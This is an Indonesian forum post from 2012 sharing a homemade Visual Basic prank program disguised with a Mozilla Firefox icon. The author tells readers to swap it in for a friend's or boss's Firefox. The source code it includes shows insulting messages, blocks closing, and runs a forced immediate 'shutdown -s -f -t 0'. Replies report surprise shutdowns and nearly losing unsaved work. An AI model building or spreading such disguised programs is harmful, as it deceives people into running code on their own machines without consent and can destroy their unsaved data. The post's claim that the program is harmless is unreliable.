[SHARING] mau nge-jailin temen, pacar or bos ente? pake nih program buatan ane

Beranda
Komunitas
Tech
CCPB - Shareware & Freeware
[SHARING] mau nge-jailin temen, pacar or bos ente? pake nih program buatan ane

Bloggerry

22-03-2012 13:26

[SHARING] mau nge-jailin temen, pacar or bos ente? pake nih program buatan ane

ASSALAMUALIKUM AGAN2

ane cuman mau share
program jail buatan ane

jadi icon program nya ane ganti
pake mozilla firefox,
nanti nanti mozilla temen ente
ganti aja pake program dari ane..
dijamin temen ente syok emoticon-Ngakak

jadi program nya
akan menampilkan pertanyaan :
"APAKAH ANDA MERASA TAMPAN ?" emoticon-Ngakak

kayak gini gan......

Spoiler for Program nya:

Uploaded with ImageShack.us

pas di klik "ya, betul" akan keluar kata2 kocak wkwkw
emoticon-Ngakak

ane jamin program nya gak bahaya kok gan..
cuman shutdown aja.. emoticon-Ngakak

dan buat kaget temen ente,, haha emoticon-Ngakak

yang dateng cuman download
dan gak komen
ane anggep emoticon-Genit

yang mau download nih link nya :
cuman 200kb kok gan, kecill emoticon-I Love Indonesia (S)

Spoiler for Download gan:

[url=http://www.indo*web*ster...com/mozilla_firefox_palsu.html]Mozilla Firefox palsu - indo*web*ster...com[/url]

note : hapus tanda (*) di link nya sebelum men-download.

proram ini ane ciptakan
hanya untuk hiburan semata emoticon-I Love Indonesia (S)

Kalo agan suka sama program buatan ane
mohon di RATE *****

kalo program ini bermanfaat buat agan
Ane juga ikhlas nerima emoticon-Blue Guy Cendol (L)

dari agan2

yg mau Source Code nya silahkan :

Spoiler for Download gan:

Dim text As String
Private Sub Form_Load()
text = " Tes Penampilan"
End Sub

Private Sub Timer1_Timer()
A = Left(text, 1)
C = Len(text)
B = Right(text, C - 1)
text = B + A
Form1.Caption = text
End Sub

Private Sub Command1_Click()
Me.AutoRedraw = True
Me.FontSize = 35
Dim shadowX
Dim shadowY
ScaleMode = 3
ForeColor = "&H808080"
shadowY = 5
shadowX = 5
For i = 0 To 5
CurrentX = shadowX + i
CurrentY = shadowY + i
If i = 5 Then Form1.ForeColor = vbRed
Form1.Print "MUKA ANDA JELEK SEKALI"
Form1.Print " NAFAS ANDA BAU "
Next
MsgBox "NAFAS ANDA BAU SEKALI !!"
MsgBox "DAN MUKA ANDA AMBURADUL !!"
MsgBox "JANGAN DURHAKA KEPADA ORANG TUA !"
MsgBox "KAMI ADALAH HACKER INDONESIA !"
MsgBox "YANG HANYA INGIN MENERUSKAN CITA-CITA BANGSA !!"
Shell "shutdown -s -f -t 0"
End Sub

Private Sub Command2_Click()
Me.AutoRedraw = True
Me.FontSize = 35
Dim shadowX
Dim shadowY
ScaleMode = 3
ForeColor = "&H808080"
shadowY = 5
shadowX = 5
For i = 0 To 5
CurrentX = shadowX + i
CurrentY = shadowY + i
If i = 5 Then Form1.ForeColor = vbRed
Form1.Print "MUKA ANDA JELEK SEKALI"
Form1.Print " NAFAS ANDA BAU "
Next
MsgBox "MUKA ANDA ANCUR SEKALI YAH !! ?"
MsgBox "MUKE LO DI DEMPUL AJE BOS !!!"
MsgBox "KARENA MUKA ANDA TIDAK ENAK DILIHAT !!! "
MsgBox "SYSTEM ERROR"
MsgBox "GARA-GARA MUKA ANDA !"

End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Dim answer As Integer
answer = MsgBox("Apakah anda yakin akan keluar dari program?", vbQuestion + vbYesNo, "Confirmation")
If answer = vbYes Then Cancel = -1
MsgBox "Anda tidak dapat keluar sebelum menjawab pertanyaan kami"
If answer = vbNo Then Cancel = -1
MsgBox "Silahkan jawab pertanyaan kami"

End Sub

Private Sub nama_Click()
MsgBox "Hacked by Bloggerry Aka HACKER"
End Sub

Private Sub versi_Click()
MsgBox "Ver 1.00.2012 Rev-A"
End Sub

kesaksian yg udah coba emoticon-Ngakak

Quote:

Original Posted By vhadhiel_2520►Sial, ane gak baca langsung sedot n test, running sih gan... Tapi tiba2 PC ane shutdown, kecerobohan ane gak baca dari awal nih. Untung word yang ane kerjain udah di save, kalo gak bisa amsyong emoticon-Ngakak

Nice bro

thanks gan emoticon-Blue Guy Cendol (L)

segerr

Quote:

Original Posted By delly1983►Anjir...Ane uda coba gan.awalnya ane emoticon-Ngakak

aja liat pertanyaannya,tapi gara2 shutdown ane sempet syok juga.pas dinyalain lagi ternyata ga ada efek apa2.
lumayan juga ni buat ngerjain temen2 ane,trima kasih gan uda ngasih bahan buat ane. emoticon-Shakehand2